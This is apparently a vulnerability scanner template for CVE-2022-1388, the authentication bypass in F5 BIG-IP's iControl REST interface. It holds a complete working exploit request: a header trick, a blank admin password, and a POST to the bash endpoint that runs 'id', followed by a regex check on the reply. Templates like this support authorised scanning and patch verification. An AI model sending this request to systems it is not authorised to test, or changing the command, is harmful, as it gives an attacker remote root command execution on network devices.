CVE-2022-1388: F5 BIG-IP iControl REST Auth Bypass RCE

id: CVE-2022-1388

info:
  info:
  name: F5 BIG-IP iControl REST Auth Bypass RCE
  author: dwisiswant0
  severity: critical
  description: |
    This vulnerability may allow an unauthenticated attacker
    with network access to the BIG-IP system through the management
    port and/or self IP addresses to execute arbitrary system commands,
    create or delete files, or disable services. There is no data plane
    exposure; this is a control plane issue only.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://support.f5.com/csp/article/K23605346
  tags: cve,cve2022,f5,bigip,icontrolrest,authbypass,rce
  created: 2023/06/23

set:
  user: "base64('admin:')"
rules:
  r0:
    request:
      method: POST
      path: /mgmt/tm/util/bash
      headers:
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{user}}
        Content-Type: application/json
      body: |
        {
          "command": "run",
          "utilCmdArgs": "-c id"
        }
    expression: response.status == 200 && response.body.bcontains(b'commandResult') && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.